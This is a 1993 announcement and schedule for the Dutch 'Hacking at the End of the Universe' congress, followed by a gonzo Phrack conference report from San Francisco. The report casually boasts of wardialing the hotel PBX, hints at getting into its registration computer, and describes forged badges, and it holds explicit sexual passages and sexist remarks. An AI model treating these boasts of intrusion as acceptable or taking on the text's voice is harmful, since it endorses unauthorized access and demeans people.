freaks, techno-anarchists, communications junkies, cyberpunks, system
managers, stupid users, paranoid androids, Unix gurus, whizz kids, warez
dudes, law enforcement officers (appropriate undercover dress required),
guerilla heating engineers and other assorted bald, long-haired and/or
unshaven scum. And all this in the middle of nowhere (well, the middle
of Holland, actually, but that's the same thing) at the Larserbos
campground four meters below sea level.
The three days will be filled with lectures, discussions and workshops
on hacking, phreaking, people's networks, Unix security risks, virtual
reality, semafun, social engineering, magstrips, lockpicking,
viruses, paranoia, legal sanctions against hacking in Holland and
elsewhere and much, much more. English will be the lingua franca for
this event, although one or two workshops may take place in Dutch.
There will be an Internet connection, an intertent ethernet and social
interaction (both electronic and live). Included in the price are four
nights in your own tent. Also included are inspiration, transpiration, a
shortage of showers (but a lake to swim in), good weather (guaranteed by
god), campfires and plenty of wide open space and fresh air. All of this
for only 100 dutch guilders (currently around US$70).
We will also arrange for the availability of food, drink and smokes of
assorted types, but this is not included in the price. Our bar will be
open 24 hours a day, as well as a guarded depository for valuables
(like laptops, cameras etc.). You may even get your stuff back! For
people with no tent or air mattress: you can buy a tent through us for
100 guilders, a mattress costs 10 guilders. You can arrive from 17:00
(that's five p.m. for analogue types) on August 3rd. We don't have to
vacate the premises until 12:00 noon on Saturday, August 7 so you can
even try to sleep through the devastating Party at the End of Time
(PET) on the closing night (live music provided). We will arrange for
shuttle buses to and from train stations in the vicinity.
HOW?
Payment: in advance please. Un-organized, poor techno-freaks like us
would like to get to the Bahamas at least once. We can only guarantee
you a place if you pay before Friday June 25th, 1993. If you live in
Holland, just transfer fl. 100 to giro 6065765 (Hack-Tic) and mention
'HEU' and your name. If you're in Germany, pay DM 100,- to Hack-Tic,
Konto 2136638, Sparkasse Bielefeld, BLZ 48050161. If you live elsewhere:
call, fax or e-mail us for the best way to get the money to us from your
country. We accept American Express, we do NOT cash ANY foreign cheques.
HA!
Very Important: Bring many guitars and laptops.
ME?
Yes, you! Busloads of alternative techno-freaks from all over the
planet will descend on this event. You wouldn't want to miss that,
now, would you?
Maybe you are part of that select group that has something special to
offer! Participating in 'Hacking at the End of the Universe' is
exciting, but organizing your very own part of it is even more fun. We
already have a load of interesting workshops and lectures scheduled,
but we're always on the lookout for more. We're also still in the
market for people who want to help us organize during the congress.
In whatever way you wish to participate, call, write, e-mail or fax us
soon, and make sure your money gets here on time. Space is limited.
SO:
- 4th, 5th and 6th of August
- Hacking at the End of the Universe
(a hacker summer congress)
- ANWB groepsterrein Larserbos
Zeebiesweg 47
8219 PT Lelystad
The Netherlands
- Cost: fl. 100,- (+/- 70 US$) per person
(including 4 nights in your own tent)
MORE INFO:
Hack-Tic
Postbus 22953
1100 DL Amsterdam
The Netherlands
tel : +31 20 6001480
fax : +31 20 6900968
E-mail : heu@hacktic.nl
VIRUS:
If you know a forum or network that you feel this message belongs on,
by all means slip it in. Echo-areas, your favorite bbs, /etc/motd, IRC,
WP.BAT, you name it. Spread the worm, uh, word.
=========================================================================
SCHEDULE
day 0 August 3rd, 1993
=====
16:00 You are welcome to set up your tent
19:00 Improvised Dinner
day 1 August 4th, 1993
=====
11:00-12:00 Opening ceremony
12:00-13:30 Workshops
14:00-15:30 Workshops
15:30-19:00 'Networking for the Masses' 16:00-18:00 Workshops
19:00-21:00 Dinner
21:30-23:00 Workshops
day 2 August 5th, 1993
=====
11:30-13:00 Workshops
14:00-17:00 Phreaking the Phone 14:00-17:00 Workshops
17:30-19:00 Workshops
19:00-21:00 Dinner
day 3 August 6th, 1993
=====
11:30-13:00 Workshops
14:00-18:00 Hacking (and) The Law 14:00-17:00 Workshops
18:00-19:00 Closing ceremony
19:00-21:00 Barbeque
21:00-??:?? Party at the End of Time (Live Music)
day 4 August 7th, 1993
=====
12:00 All good things come to an end
=========================================================================
'Networking for the masses', Wednesday August 4th 1993, 15:30
One of the main discussions at the 1989 Galactic Hacker Party focused on
whether or not the alternative community should use computer networking.
Many people felt a resentment against using a 'tool of oppression' for
their own purposes. Computer technology was, in the eyes of many,
something to be smashed rather than used.
Times have changed. Many who were violently opposed to using computers
in 1989 have since discovered word-processing and desktop publishing.
Even the most radical groups have replaced typewriters with PCs. The
'computer networking revolution' has begun to affect the alternative
community.
Not all is well: many obstacles stand in the way of the 'free flow of
information.' Groups with access to information pay such high prices for
it that they are forced to sell information they'd prefer to pass on for
free. Some low-cost alternative networks have completely lost their
democratic structure. Is this the era of the digital dictator, or are we
moving towards digital democracy?
To discuss these and other issues, we've invited the following people
who are active in the field of computer networking: [Electronic mail
addresses for each of the participants are shown in brackets.]
Ted Lindgreen (ted@nluug.nl) is managing director of nlnet. Nlnet is the
largest commercial TCP/IP and UUCP network provider in the Netherlands.
Peter van der Pouw Kraan (peter@hacktic.nl) was actively involved in the
squat-movement newsletters 'Bluf!' and 'NN' and has outspoken ideas
about technology and its relation to society. Had a PC all the way back
in 1985!
Maja van der Velden (maja@agenda.hacktic.nl) is from the Agenda
Foundation which sets up and supports communication and information
projects.
Joost Flint (joost@aps.hacktic.nl) is from the Activist Press Service.
APS has a bbs and works to get alternative-media and pressure groups
online.
Felipe Rodriquez (nonsenso@utopia.hacktic.nl) is from the Hack-Tic
Network which grew out of the Dutch computer underground and currently
connects thousands of people to the global Internet.
Andre Blum (zabkar@roana.hacktic.nl), is an expert in the field of
wireless communications.
Eelco de Graaff (Eelco.de.Graaff@p5.f1.n281.z2.fidonet.org) is the
nethost of net 281 of FidoNet, EchoMail troubleshooter, and one of the
founders of the Dutch Fidonet Foundation.
Michael Polman (michael@antenna.nl) of the Antenna foundation is a
consultant in the field of international networking. He specialises in
non-governmental networks in the South.
Alfred Heitink (alfred@antenna.nl) is a social scientist specializing in
the field of computer-mediated communication as well as system manager at
the Dutch Antenna host.
Rena Tangens (rena@bionic.zer.de), was involved in the creation of the
Bionic Mailbox in Bielefeld (Germany) and the Zerberus mailbox network.
She is an artist and wants to combine art and technology.
The discussion will be led by freelance radiomaker and science
journalist Herbert Blankesteyn. He was involved in the 'Archie'
children's bbs of the Dutch VPRO broadcasting corporation.
=========================================================================
'Phreaking the Phone', Thursday August 5th 1993, 14:00
Your own telephone may have possibilities you never dreamed possible.
Many years ago people discovered that one could fool the telephone
network into thinking you were part of the network and not just a
customer. As a result, one could make strange and sometimes free
phonecalls to anywhere on the planet. A subculture quickly formed.
The phone companies got wise and made a lot of things (nearly)
impossible. What is still possible today? What is still legal today?
What can they do about it? What are they doing about it?
Billsf (bill@tech.hacktic.nl) and M. Tillman, a few of the worlds best
phreaks, will introduce the audience to this new world. Phone phreaks
from many different countries will exchange stories of success and
defeat. Your life may never be the same.
=========================================================================
'Hacking (and) The Law', Friday August 6th, 14:00
You can use your own computer and modem to access some big computer
system at a university without the people owning that computer knowing
about it. For years this activity was more or less legal in Holland: if
you were just looking around on the Internet and didn't break anything
nobody really cared too much...
That is, until shortly before the new computer crime law went into
effect. Suddenly computer hackers were portrayed as evil 'crashers'
intent on destroying systems or, at least, looking into everyone's
files.
The supporters of the new law said that it was about time something was
done about it. Critics of the law say it's like hunting mosquitoes with
a machine-gun. They claim the aforementioned type of hacking is not the
real problem and that the law is excessively harsh.
To discuss these issues we've invited a panel of experts, some of whom
are, or have been, in touch with the law in one way or another.
Harry Onderwater (fridge@cri.hacktic.nl), is technical EDP auditor at the
Dutch National Criminal Intelligence Service (CRI) and is responsible for
combatting computer crime in the Netherlands. He says he's willing to
arrest hackers if that is what it takes to make computer systems secure.
Prof. Dr. I.S. (Bob) Herschberg (herschbe@dutiws.twi.tudelft.nl), gained
a hacker's control over his first system 21 years ago and never ceased
the good work. Now lecturing, teaching and publishing on computer
insecurity and imprivacy at the technical university in Delft. His
thesis: 'penetrating a system is not perpetrating a crime'.
Ronald 'RGB' O. (rgb@utopia.hacktic.nl) has the distinction of being the
only Dutch hacker arrested before and after the new law went into effect.
He is a self-taught UNIX security expert and a writer for Hack-Tic
Magazine.
Ruud Wiggers (ruudw@cs.vu.nl), system manager at the Free University
(VU) in Amsterdam, has for 10 years been trying to plug holes in system
security. He was involved in the RGB arrest.
Andy Mueller-Maguhn (andy@cccbln.ccc.de) is from the Chaos Computer Club
in Germany.
Eric Corley (emmanuel@eff.org) a.k.a. Emmanuel Goldstein is editor
of the hacker publication '2600 magazine'. The first person to realize
the huge implications of the government crackdown on hackers in the US.
Winn Schwartau (wschwartau@mcimail.com) is a commercial computer
security advisor as well as the author of the book 'Terminal
Compromise'. His new book entitled 'Information Warfare' has just been
released.
Ray Kaplan (kaplan@bpa.arizona.edu) is a computer security consultant.
He is constantly trying to bridge the gap between hackers and the
computer industry. He organizes 'meet the enemy' sessions where system
managers can teleconference with hackers.
Wietse Venema (wietse@wzv.win.tue.nl) is a systems expert at the
Technical University in Eindhoven. He is the author of some very well
known utilities to monitor hacking on unix systems. He has a healthy
suspicion of anything technical.
Peter Klerks (klerks@rulfsw.leidenuniv.nl) is a scientist at the centre
for the study of social antagonism at the Leiden University. He has
studied the Dutch police force extensively, and is author of the book
'Counterterrorism in the Netherlands.'
Don Stikvoort (stikvoort@surfnet.nl), one of the computer security
experts for the Dutch Academic Society and chairman of CERT-NL (Computer
Emergency Response Team). He is also actively involved in SURFnet
network management.
Rop Gonggrijp (rop@hacktic.nl) was involved in some of the first
computer break-ins in the Netherlands during the 80's and is now editor
of Hack-Tic Magazine.
The discussion will be led by Francisco van Jole (fvjole@hacktic.nl),
journalist for 'De Volkskrant'.
=========================================================================
WORKSHOPS
HEUnet introduction
an introduction to the Hacking at the End of the Universe network.
Jumpstart to VR, 3D world-building on PC's
Marc Bennett, editor of Black Ice magazine, will explain how to
design worlds on your own PC which can be used in Virtual Reality
systems.
Replacing MS/DOS, Running UNIX on your own PC
People who are already running unix on their PCs will tell you what
unix has to offer and they'll talk about the different flavours in
cheap or free unix software available.
Unix security
RGB and fidelio have probably created more jobs in the unix security
business than the rest of the world put together. They'll talk about
some of the ins and outs of unix security.
E-mail networking
Should we destroy X400 or shall we let it destroy itself?
'User Authorization Failure'
A quick introduction to the VAX/VMS Operating System for those that
consider a career in VMS security.
'The right to keep a secret'
Encryption offers you the chance to really keep a secret, and
governments know it. They want you to use locks that they have the
key to. The fight is on!
'Virus about to destroy the earth!'. Don't believe the hype!
What is the real threat of computer viruses? What technical
possibilities are there? Are we being tricked by a fear-machine that
runs on the money spent on anti-virus software?
'It came out of the sky'
'Receiving pager information and what not to do with it'. Information
to pagers is sent through the air without encryption. Rop Gonggrijp
and Bill Squire demonstrate a receiver that picks it all up and
present some spooky scenarios describing what one could do with all
that information.
Cellular phones and cordless phones
How do these systems work, what frequencies do they use, and what are
the differences between different systems world-wide?
Zen and the art of lock-picking.
In this workshop The Key will let you play with cylinder locks of all
types and tell you of ingenious ways to open them.
"Doesn't mean they're not after you"
The secret services and other paranoia.
Audio Adventures
Steffen Wernery and Tim Pritlove talk about adventure games that you
play using a Touch Tone telephone.
Botanical Hacking (THC++)
Using computers, modems and other high tech to grow.
Wireless LAN (Data Radio)
How high a data rate can you pump through the air, and what is still
legal?
Social Engineering
The Dude, well known from his articles in Hack-Tic, will teach you
the basics of social engineering, the skill of manipulating people
within bureaucracies.
'Hacking Plastic'
Tim and Billsf talk about the security risks in chip-cards, magnetic
cards, credit cards and the like.
Antenna Host Demo
The Antenna Foundation is setting up and supporting computer
networks, mainly in the South. They are operating a host system in
Nijmegen, The Netherlands, and they will demonstrate it in this
workshop, and talk about their activities.
APS Demo
APS (Activist Press Service) is operating a bbs in Amsterdam, The
Netherlands. You'll see it and will be able to play with it
'hands-on'.
'Hocking the arts'
Benten and Marc Marc are computer artists. They present some of their
work under the motto: Hocking the arts, demystifying without losing
its magic contents.
Public Unix Demo
Demonstrating the Hack-Tic xs4all public unix, as well as other
public unix systems.
Packet Radio Demo
Showing the possibilities of existing radio amateur packet radio
equipment to transport packets of data over the airwaves.
=========================================================================
COMPUTERS AT 'HACKING AT THE END OF THE UNIVERSE'
This will get a little technical for those who want to know what we're
going to set up. If you don't know much about computers, just bring
whatever you have and we'll see how and if we can hook it up.
We're going to have ethernet connected to Internet (TCP/IP). You can
connect by sitting down at one of our PC's or terminals, by hooking up
your own equipment (we have a depository, so don't worry about theft),
or by using one of our 'printerport <--> ethernet' adapters and
hooking up laptops and notebooks that way. There may be a small fee
involved here, we don't know what they're going to cost us. Contact us
for details, also if you have a few of these adapters lying around.
There might also be serial ports you can connect to using a nullmodem
cable.
You can log in to our UNIX system(s) and send and receive mail and
UseNet news that way. Every participant that wants one can get her/his
own IP number to use worldwide. Users of the network are urged to make
whatever files they have on their systems available to others over the
ethernet. Bring anything that has a power cord or batteries and let's
network it!
=========================================================================
--
Hstorm ++31 2230 60551
Ad Timmering <north@hstorm.hacktic.nl>
--------------------------------------------------------------------------------
==Phrack Magazine==
Volume Four, Issue Forty-Three, File 8 of 27
CONFERENCE NEWS
PART II
****************************************************************************
Fear & Loathing in San Francisco
By Some Guy
(The names have been changed to protect the guilty.)
1. The Arrival
I had been up for about 48 hours by the time America West dropped
me off at San Francisco's airport. The only thing I could think about
was sleep. Everything took on strange dreamlike properties as I staggered
through the airport looking for the baggage claim area. Somehow, I
found myself on an airport shuttle headed towards the Burlingame
Marriott. Suddenly I was standing in front of an Iranian in a red
suit asking me for a major credit card. After a quick shuffle of forms
at the checkin counter I finally had the cardkey to my room and was
staggering toward a nice warm bed.
Once in the room I fell down on the bed, exhausted. Within the space of a
few minutes I was well on my way to Dreamland. Within the space of a few
more minutes I was slammed back into reality as someone came barreling into
the room. Mr. Blast had arrived from Chitown with a bag full of corporate
goodies. I accepted a shirt and told him to get lost. No sooner had he left
than Fitzgerald burst in with enough manuals to stock a small college's
technical library. After griping for nearly 30 minutes at the fact that
I had neglected to likewise bring 500 pounds of 5ess manuals for him,
Fitzgerald took off.
Sleep.
2. Mindvodxka
After several needed hours rest, I took off downstairs to scope out the
spread. I ran into Bruce Sterling who relayed some of the mornings
events, the highlight of which was Don Delaney's "Finger Hackers" the
inner city folks who sequentially dial, by hand, every possible combination
of pbx code to then sell on street corners.
Out of the corner of my eye I spotted two young turks dressed like
mafioso: RBOC & Voxman. I wandered over and complimented them on their
wardrobe and told them to buy me drinks. Beer. Beer. More beer.
Screwdrivers. Screwdrivers. Last call. Last screwdriver.
RBOC and I decided that it was our calling to get more drinks. We took
off to find a bar. Upon exiting the hotel we realized that we were in
the middle of fucking nowhere. We walked up and down the street, rapidly
getting nowhere. In our quest for booze, we managed to terrorize a
small oriental woman at a neighboring hotel who, after 10 minutes of our
screaming and pounding, finally opened up the door to her office wide
enough to tell us there were no bars within a 15 mile radius.
We went back to the hotel very distraught.
We went back to RBOC's room where Voxman was sampling a non-tobacco smoke.
We bitched about the lack of watering holes in the vicinity, but he was
rather unsympathetic. After he finished his smoke and left the room, we
decided to order a bottle of vodka through room service and charge it
to Voxman since it was roughly 50 dollars.
RBOC called up room service and started to barter with the clerk about the
bottle. "Look, tell you what," he said, "I've got twenty bucks. You meet
me out back with two bottles. I give you the twenty and you keep one of
the bottles for yourself."
"Look man, I know you have about a thousand cases of liquor down there,
right? Who's going to miss two bottles? Don't you want to make a few
extra bucks? I mean, twenty dollars, that's got to be about what you make
in a day, right? I mean, you aren't exactly going to own this hotel any
time soon, am I right? So, I'll be down in a few minutes to meet you
with the vodka. What do you mean? Look man, I'm just trying to help out
another human being. I know how it is, I'm not made out of money either,
you know? Listen, I'm from NYC...if someone offers me twenty dollars
for nothing, I take it, you know? So, do we have a deal?"
This went on for nearly an hour. Finally RBOC told the guy to just bring up
the damn bottle. When it arrived, the food services manager, acting as
courier, demanded proof of age, and then refused to credit it to the room.
This sparked a new battle, as we then had to track down Voxman to sign
for our booze. After that was settled, a new crisis arose: We had no
mixer.
The soda machine proved our saviour. Orange Slice for only a dollar a
can. We decided to mix drinks half and half. Gathering our fluids,
we adjourned to the lobby to join Voxman and a few conventioneers.
The vodka went over well with the crew, and many a glass was quaffed
over inane conversation about something or other.
Soon the vodka informed me it was bed time.
3. It Begins.
I woke late, feeling like a used condom. I noticed more bags in the room
and deduced that X-con had made it to the hotel. After dressing, I staggered
down to the convention area for a panel.
"Censorship and Free Speech on the Networks" was the first one I got to
see. The main focus of the panel seemed to be complaints of alt.sex
newsgroups and dirty gifs. As these two are among my favorite things
about the net, I took a quick disliking of the forum. Nothing was resolved
and nothing was stated.
There was a small break during which I found X-con. We saw a few feds.
It was neat. The head of the FBI's computer crime division called me by name.
That was not terribly neat.
The next session was called "Portrait of the Artist on the Net." X-con
and I didn't get it. We felt like it was "portrait of the artist on
drugs on the net." Weird videos, odd projects, and stream of
consciousness rants. Wasn't this a privacy conference? We were confused.
The session gave way to a reception. This would have been uneventful had
it not been for two things: 1) an open bar 2) the arrival of the Unknown
Hacker. U.H. was probably the most mysterious and heralded hacker on
the net. The fact that he showed up in public was monumental.
The reception gave way to dinner, which was uneventful.
4. Let the Beatings Begin
A few days before the con, Mr. Blast had scoured the net looking for
dens of inequity at my behest. In alt.sex.bondage he had run across
a message referring to "Bondage A Go-Go." This was a weekly event at
a club in the industrial district called "The Bridge." The description
on the net described it as a dance club where people liked to dress up
in leather and spikes, and women handcuffed to the bar from
9-11 drank free! This was my kind of place.
On that Wednesday night, I could think of nothing but going out and
getting to Bondage A Go-Go. I pestered X-con, Mr. Blast and U.H. into
going. We tried to get Fender to go too, but he totally lamed out.
(This would be remembered as the biggest mistake of his life.)
We eventually found ourselves driving around a very seedy part of
San Francisco. On one exceedingly dark avenue we noticed a row
of Harleys and their burly owners hanging outside a major dive. We
had found our destination.
Cover was five bucks. Once inside we were assaulted by pounding
industrial and women in leather. RAD! Beer was a buck fifty.
Grabbing a Coors and sparking a Camel, I wandered out to the main dance
floor where some kind of event was taking place.
Upon a raised stage several girlies were undulating in their
dominatrix get-ups, slowly removing them piece by piece. A smile
began to form. X-con and U.H. found me and likewise denoted their
approval. The strip revue continued for a few songs, with the
girlies removing everything but their attitudes.
The lights went up, and a new girl came out. She was followed by a
friend carrying several items. The first girl began to read rather
obscure poetry as the second undressed her. Once girl1 was free
of restrictive undergarments girl2 donned surgical gloves and
began pouring generous amounts of lubricant over her hands. As the
poetry reached a frantic peak, girl2 slowly inserted her entire hand
into girl1.
A woman in the crowd screamed.
My smile was so wide, it hurt.
The fisting continued for an eternity, with girl1 moving around the stage
complaining in her poetic rant about how no man could ever satisfy her.
(This was of no surprise to me since she had an entire forearm up her twat.)
Girl2 scampered around underneath, happily pumping away for what seemed like
an hour.
When the performance ended, a very tall woman in hard dominatrix gear
sauntered out on the stage. From her Nazi SS cap to her stiletto heels
to her riding crop, she was the top of my dreams. Two accomplices tied
a seemingly unwilling bottom to the stage and she began striking
her repeatedly with the crop, to the beat of something that sounded like
KMFDM. The screams filled the club, and drool filled the corners of my
mouth.
As the song ended, the girls all came back out on stage and took a bow
to deafening applause. Then the disco ball lit up, and Ministry began
thundering, and people began to dance like nothing had ever
happened. We were a bit stunned.
We all wandered up to the second level where we were greeted by a guy and
two girls going at it full on. I staggered dazed to the second story on the
opposite side. There was a skinhead getting a huge tattoo and a girl
getting a smaller one. I was not brave enough to risk the needle in
San Francisco, so I wandered back downstairs. That's where I fell in love.
She was about 5'2", clad in a leather teddy, bobbed blood red hair, carrying
a cat o'nine tails. Huge, uh, eyes. Alas, 'twas not to be. She was
leading around a couple of boy toys on studded leashes. Although the
guys seemed to be more interested in each other than her, I kept away,
knowing I would get the hell beaten out of me if I intervened.
As it approached 3:00 am, we decided it was time to go. We bid a fond
farewell to the Bridge and took leave.
We all wanted to see Golden Gate, so U.H. directed us towards downtown
to the bridge. Passing down Market, we noticed a man lying in a pool of
blood before a shattered plate glass window, surrounded by cops.
We eventually reached the Golden Gate Bridge. We drove across to the
scenic overlook. Even in the darkness it was rather cool. We took off
through the hills and nearly smashed into a few deer with the car.
It was almost time for the conference by then, so we decided to get back.
5. Thursday
I made it downstairs for the "Medical Information and Privacy" that
morning. As I was walking towards the room, I got a sudden flash of
an airlines advertisement. The Pilot had arrived. I was shocked.
Here was this guy who used to be one of the evil legionnaires, and he
looked like an actor from a delta commercial...blue suit, aviator
sunglasses, nappy hat with the little wings. Appalling.
I drug him into the meeting hall where we sat and made MST3K-like
commentary during the panel. I began to get mad that no one had
even mentioned the lack of legislation regarding medical records privacy,
nor the human genome project. I was formulating my rude commentary
for the question period when the last speaker thankfully brought
up all these points, and chastised everyone else for not having done
so previously. Good job.
I snaked The Pilot a lunch pass, and we grabbed a bite. It was pretty
good. I noticed that it was paid for by Equifax or Mead Data Central
or some other data-gathering puppet agency of The Man. No doubt a
pathetic ploy to sway our feelings. I ate it anyway.
After lunch, John Perry Barlow got up to bs a bit. The thing that stuck me
about Barlow was his rant about the legalization of drugs. Yet another
stray from computers & privacy. It must be nice to be rich enough to
stand in front of the FBI and say that you like to take acid and think
it ought to be legal. I debated whether or not to ask him if he
knew where to score any in San Francisco, but decided on silence, since
I'm not rich.
I lost all concept of time and space after Barlow's talk, and have no idea
what happened between that time and that evening.
6. Birds of a Feather BOF together
That night we went to the Hacker BOF, sponsored by John McMullen.
Lots of oldies siting around being superior since it wasn't illegal
when they swiped cpu access, and lots of newbies sitting around feeling
superior since they had access to far better things than the oldies
ever dreamed of.
A certain New York State Policeman had been given the remainder of the
bottle of vodka from the previous night. It was gone in record time.
Later he was heard remarking about how hackers should get the death
penalty. When Emmanuel Goldstein demonstrated his Demon Dialer from
the Netherlands, he sat in the corner slamming his fist into his hand
muttering, "wait till we get home, you'll get yours."
I went outside and hid. Also hiding outside was Phiber. We exchanged a
few glares. He and I had been exchanging glares since our respective
arrivals. But neither of us said anything directly to the other.
I had heard from several people that Phiber had remarked, "on the third
day, I'm gonna get that guy. Just you wait." I was waiting.
I decided that Thursday should be the night we would all go to a
strip club. After telling everyone within a 15 mile radius about
Bondage A Go-Go, it was rather easy to work up an interest in this
adventure. Me, X-con, Mr. Blast, U.H. and Fender would be the
valiant warriors.
Before making preparations to leave, X-con and Fitzgerald decided to
check out the hotel's PBX. Setting up Tone-Loc, X-con's notebook
set out banging away at the available block of internals. We
decided that the hotel had a 75, and yes, it would be ours, oh yes,
it would be ours.
It was a Herculean task to gather the crew. Despite their desire to go,
everyone farted around and rounding them up was akin to a cattle
drive. Fender cried about having to attend this BOF and that BOF and
Mr. Blast cried about being tired, Fitzgerald cried about not being
old enough to go, and I just cried. Eventually we gathered our
crew and launched.
8. Market Street Madness
We initially went out to locate the Mitchell Brothers club. I had heard that
it was quite rad. Totally nude. Lap dancing. Total degradation and
objectification. Wowzers.
U.H. said he knew where it was. He was mistaken. The address in the
phone book was wrong. It was nowhere to be found. We ended back up
on Market surrounded by junkies and would-be muggers. Thankfully,
there were no fresh corpses. I saw a marquee with the banner Traci Topps.
Forcing Mr. Blast to pull over, we made a beeline to the entrance.
Cover was ten dollars, and we had missed Traci's last performance.
We paid it anyway, since we had bothered to pull over. Big mistake.
Now, when I think of strip clubs, I think of places like Houston's
Men's Club, or Atlanta's Gold Club, or Dallas' Fantasy Ranch. Very
nice. Hot women. Good music. Booze. Tables.
We entered a room that used to be a theater. Sloping aisles along
theater seats side by side. Up on the stage, was a tired, unattractive,
heavy set brunette slumping along to some cheesy pop number.
I was instantly disgusted. I felt compelled to tell X-con that strip
clubs were not like this normally, since he had never been to one, and
it was my bright idea to be here.
We noticed some old perv at the far end of our row in a trench. It was
like out of a bad movie. He was not at all shy about his self-satisfaction
and in fact seemed quite proud of it. He kept trying to get the girls to
bend down so he could fondle them. Gross beyond belief. We debated
whether or not to point and laugh at him, but decided he might have
something more deadly concealed under the trench and tried to ignore it.
Some more furniture passed across the stage. One sauntered over to me
and asked if I'd like any company. I asked her what the hell this place
was all about. She said that this was the way most places were downtown.
I told her that I expected tables, beer, and a happy upbeat tempo. She
shrugged and said she didn't know of anything really like that.
On the stage a really cute girl popped up. A shroom on this turd of a club.
Fender and I both decided she was ours. Fender said there was no way that
I would get the only good looking girl in the place. I said he needed to
get real, that it would be no contest.
As soon as she left the stage, Fender disappeared. Later he returned
smirking. Moments afterward, the girl appeared and plopped down in his lap.
(We found out later he paid her.) He continued his dialogue for about
20 minutes discussing philosophy or something equally stupid to talk
to a nude dancer about, and then we got up to leave. She gave him her
phone number. (It was the number to the Special Olympics.) We left,
and I apologized to everyone.
We took off to Lombard street and fantasized about letting the rental
car loose to plummet down the hill, destroying everything in its
path. Next time we decided we would.
Then it was decided that it would be a good idea to look for some food.
We ended up somewhere where there was some kind of dance club.
Everything was closed and there was no food to be seen. Walking down
a few side streets looking for food, U.H. decided to tell Fender that
he had broken into his machine. Fender turned about 20 shades of green.
We then went back to the Golden Gate Bridge since it never closed and
stared out at the bay. Fender began to talk incoherently so it
became urgent that we get back to the hotel and put him to bed to dream
happy dreams of his stripper Edie.
Back at the hotel X-con and I could not sleep. The notebook had found
a number of carriers. One was for a System V unix. We decided that
this was the hotel's registration computer. We knew most used some kind of
package like encore, so we...well. :) We also found several odd systems,
probably some kind of elevator/ac/power controllers or whatnot.
At 5am or so, X-con and I took off to explore the hotel. Down in the lobby we
found RBOC busily typing away to a TTD operator on the AT&T payphone 2000.
He was engrossed in conversation, so we left him to his typing.
X-con started to look around the Hertz counter for anything exciting and
set off the alarm. Within seconds security arrived to find me
perched on the shoeshine stand and X-con rapping on the payphone to
another hotel. We told him we hadn't seen anyone go behind the counter.
He didn't believe us but left anyway.
As we burst into fits of laughter, Mitch Kapor, in shorts and t-shirt came
cruising by and exited through a glass door. We weren't quite sure if he
were real so we snuck through the door after him. The door led to the
gym. Mitch was busily pedaling away on an exercycle.
X-con and I decided to explore the hotel since we never even knew there
was a gym, and who could tell what other wild and wacky places remained
unseen. We took off to find the roof, since that was the most obvious
place to go that we should not be. Finding the stairwell with roof access,
we charged up to the top landing. The roof was unlocked, but right before
opening the hatch, we noticed that there was a small magnetic contact
connected to a lead. Not feeling up to disabling alarm systems so
late in the evening (or early in the morning), we took off.
On another level, we found the offices. Simplex locks. Amazing.
Evil grins began to form, but we wimped out, besides it was damn near
convention time.
9. Coffee, Coffee and More Coffee
Outside the convention room the caterers had set up the coffee urns.
X-con and I dove into the java like Mexican cliff jumpers. It got
to be really really stupid. We were slamming coffee like there was no
tomorrow. Fuck tomorrow, we slammed it like there was no today.
I put about eight packets of sugar in each of my cups. Ahh, nothing like
a steamin' cup o' joe. By the time we were done we had each drank
nearly 20 cups. The world was alive with an electric hum. We were ready
to take on the entire convention. Yep. After another cup.
The first panel of the day was "Gender Issues in Computing and
Telecommunications." As the talk began, the pig in me grew restless.
"What's all this crap?" it said. "Bunch of feminazis bitching about
gifs. They should all go to the bridge next Wednesday, that will give them
a new perspective. Where's Shit Kickin' Jim when you need him?"
Then I got more idealistic in my thinking. "Ok, fine, if women
demand equal treatment on the net, then what about equal treatment for
homosexuals? What about equal treatment for hermaphrodites? What about
equal treatment for one-legged retired American Indian Proctologists on
the net? And let us not forget the plight of the Hairless. Geez. What
a load of hooey. I wanted to jump up and yell, "THE NET IS NOT REAL!
WORRY ABOUT THE REAL WORLD AND THE NET WILL CHANGE! YOU CANNOT CHANGE
REALITY BY CHANGING THE NET!" If only I'd had another cup of coffee, I might
have done it.
The women got nothing done. After the panel X-con and I took off to the
room, after getting a few cups of coffee for the elevator ride. We sat
in the hotel room and made rude noises until Mr. Blast and Fitzgerald
got up. We all fought for the shower and by noon we were ready to
venture outward for lunch.
10. Cliffie!
The lunch that day had a few pleasant surprises. The first came in the
form of a waitress with HUGE, uh, eyes. Having something of an
fetish for big, ahem, eyes, I practiced my patented Manson-like gaze
for her benefit. The second surprise came when a the CFP staffers
cornered a couple of people at our table.
KCrow and Xaen had photocopied lunch tickets and forged badges to hang
out at the conference. Finally, on the last day, the staffers suddenly
decided that these two might not be paying attendees. Whether it was
the names on their badges that did not check out, or the fact that
Xaen had been walking around in a red and white dress-like robe the entire
day. They let them stay, but told them next time to either make better
forgeries or send in their scholarship applications like everyone else.
As lunch drew to a close, the crowd grew restless. A cry rang out,
"CLIFFIE!" The crowd took up the cry, and executives began throwing
conference papers in the air, stomping their feet and holding up
their lit cigarette lighters. "We want Cliffie, we want Cliffie!"
The house lights dimmed and a silhouette of frazzled hair appeared at the
head of the room.
Well, maybe it wasn't quite like that. Cliff Stoll took the stand and
began a stream of consciousness rant that would make someone with a bipolar
disorder look lucid. Contorting himself and leaping on tables, Cliff
definitely got my attention. It was kind of like watching Emo Philips
on crank while tripping. I dug it. If you have the opportunity
to catch Cliff on his next tour, make sure to do so. Lorne Michaels could
do worse than make some kind of sitcom around this guy. It was
probably the most amazing thing I had seen at the official conference.
11. A Little Bit O' History
Fitzgerald heard that there was a Pac Bell museum downtown. This news
evoked a Pavlovian response almost as pronounced as me at The Bridge.
Me and The Pilot wanted to check it out too so we decided to go.
It was like the Warner Bros. cartoon of the big dog and the little dog
"huh Spike, we gonna get us a cat, aren't we Spike, yep, we are gonna get
that cat, boy, aren't we Spike, yep, yep, boy I can't wait, boy is that
darn cat gonna be sorry, isn't he Spike, huh, Spike, huh?" Fitzgerald
was psyched.
Driving through downtown San Francisco was kind of like some kind of
deranged Nientendo game. The streets were obviously layed out by farm
animals. Traffic was disgusting. Of course, 3:30 on Friday afternoon
is official road construction time in downtown San Francisco. That was
not in my "Welcome To SF" guide, so I penciled it in.
About 4:00 we found an open lot, amazingly enough across from the
Pac Bell building. We paid roughly 37 thousand dollars for the spot and
took off to the museum. Fitzgerald was in heaven. He had called the
museum from the hotel before we left and told them we were on our way.
Upon walking in the building we were stopped by a guard. He asked us what
we wanted. Fitzgerald said, "We're here for to see the museum!" The
guard gave us the once over and said, "Museum's closed." Fitzgerald
almost fainted. Sure enough, the museum guy had bailed early. Probably
immediately after receiving our phone call. Typical telco nazi antics.
